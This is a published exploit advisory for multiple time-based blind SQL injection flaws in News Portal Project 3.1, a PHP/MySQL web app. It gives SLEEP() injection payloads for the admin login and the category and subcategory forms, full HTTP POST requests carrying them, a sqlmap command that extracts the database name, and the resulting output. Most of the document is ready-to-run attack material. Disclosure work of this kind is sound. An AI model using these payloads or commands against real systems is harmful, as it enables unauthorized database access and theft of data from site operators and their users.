News Portal Project version 3.1 suffers from multiple remote time-based SQL injection vulnerabilities.
66485a527d4c4c5e2088f05fc425cfc7# Exploit Title: News Portal Project - Multiple time-based SQL Injection
# Date: 2021-07-10
# Exploit Author: faisalfs10x (https://github.com/faisalfs10x)
# Vendor Homepage: https://phpgurukul.com
# Software Link: https://phpgurukul.com/news-portal-project-in-php-and-mysql/
# Version: 3.1
# Tested on: Windows 10, XAMPP
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# Description #
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# The system is vulnerable to time-based SQL injection on multiple endpoints. Based on the SLEEP(N) function payload that will sleep for a number of seconds used on the mentioned parameters below, the server response is about (N) seconds delay respectively which mean it is vulnerable to MySQL Blind (Time Based). An attacker can use sqlmap to further the exploitation for extracting sensitive information from the database.
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# PoC of detection #
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PoC #1) param username - time-based SQLi
Payload: ')+AND+(SELECT+1337+FROM+(SELECT(SLEEP(5)))FSX)--+
Request: The response duration = 4934 bytes | 5,232 millis
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POST /newsportal/admin/ HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 82
Origin: http://localhost
DNT: 1
Connection: close
Referer: http://localhost/newsportal/admin/
Cookie: last_views=a%3A2%3A%7Bi%3A0%3Bi%3A18%3Bi%3A1%3Bi%3A15%3B%7D; __atuvc=6%7C27; PHPSESSID=7vdqnnaqej9bd8bbp2fds6o950; sid7cc7e9c2=17at0fifkpb77doq1qe263dt8qfs3kor
Upgrade-Insecure-Requests: 1
Sec-GPC: 1
username=admin')+AND+(SELECT+1337+FROM+(SELECT(SLEEP(5)))FSX)--+&password=s&login=
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PoC #2) Two(2) param, category and description - time-based SQLi
Payload: '+AND+(SELECT+1337+FROM+(SELECT(SLEEP(5)))HOLA)+AND+'rand'='ranm
Request: Total response concurrently for 2 param (N=5+3) duration = 13,092 bytes | 8,040 millis
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POST /newsportal/admin/add-category.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 102
Origin: http://localhost
DNT: 1
Connection: close
Referer: http://localhost/newsportal/admin/add-category.php
Cookie: last_views=a%3A2%3A%7Bi%3A0%3Bi%3A18%3Bi%3A1%3Bi%3A15%3B%7D; __atuvc=6%7C27; PHPSESSID=7vdqnnaqej9bd8bbp2fds6o950; sid7cc7e9c2=17at0fifkpb77doq1qe263dt8qfs3kor
Upgrade-Insecure-Requests: 1
Sec-GPC: 1
category=Book'+AND+(SELECT+1337+FROM+(SELECT(SLEEP(5)))HOLA)+AND+'rand'='ranm&description=worm'+AND+(SELECT+1337+FROM+(SELECT(SLEEP(3)))YOLA)+AND+'rand'='ranm&submit=
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PoC #3) Three (3) param, category,subcategory & sucatdescription - time-based SQLi
Payload: '+AND+(SELECT+1337+FROM+(SELECT(SLEEP(N)))XXXX)+AND+'test'='ranm
Request: Total response concurrently for 3 param (N=5+6+7) duration = 14,196 bytes | 18,042 millis
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POST /newsportal/admin/add-subcategory.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 256
Origin: http://localhost
DNT: 1
Connection: close
Referer: http://localhost/newsportal/admin/add-subcategory.php
Cookie: last_views=a%3A2%3A%7Bi%3A0%3Bi%3A18%3Bi%3A1%3Bi%3A15%3B%7D; __atuvc=6%7C27; PHPSESSID=7vdqnnaqej9bd8bbp2fds6o950; sid7cc7e9c2=17at0fifkpb77doq1qe263dt8qfs3kor
Upgrade-Insecure-Requests: 1
Sec-GPC: 1
category=2'+AND+(SELECT+1337+FROM+(SELECT(SLEEP(5)))XXXX)+AND+'test'='ranm&subcategory=test'+AND+(SELECT+4444+FROM+(SELECT(SLEEP(6)))YYYY)+AND+'okay'='ranm&sucatdescription=test2'+AND+(SELECT+8080+FROM+(SELECT(SLEEP(7)))ZZZZ)+AND+'pwnn'='ranm&submitsubcat=
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# PoC of exploitation #
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# Run sqlmap to extract current database name:
$ sqlmap -u "http://localhost/newsportal/admin/add-category.php" --data="category=test&description=test&submit=" --cookie="last_views=a%3A2%3A%7Bi%3A0%3Bi%3A18%3Bi%3A1%3Bi%3A15%3B%7D; __atuvc=6%7C27; PHPSESSID=7vdqnnaqej9bd8bbp2fds6o950; sid7cc7e9c2=17at0fifkpb77doq1qe263dt8qfs3kor" --delay=1 --timeout=30 --retries=3 -p "category" --dbms="MySQL" --level=5 --risk=3 --threads=10 --time-sec=5 -b --current-db --batch --answers="crack=N,dict=N,continue=Y,quit=N" --technique=T
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# Output #
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[INFO] testing MySQL
[INFO] confirming MySQL
[INFO] the back-end DBMS is MySQL
[INFO] fetching banner
[INFO] retrieving the length of query output
[INFO] resumed: 10.1.19-MariaDB
web server operating system: Windows
web application technology: PHP 5.6.24, Apache 2.4.23
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
banner: '10.1.19-MariaDB'
[INFO] fetching current database
[INFO] retrieving the length of query output
[INFO] resumed: newsportal
current database: 'newsportal'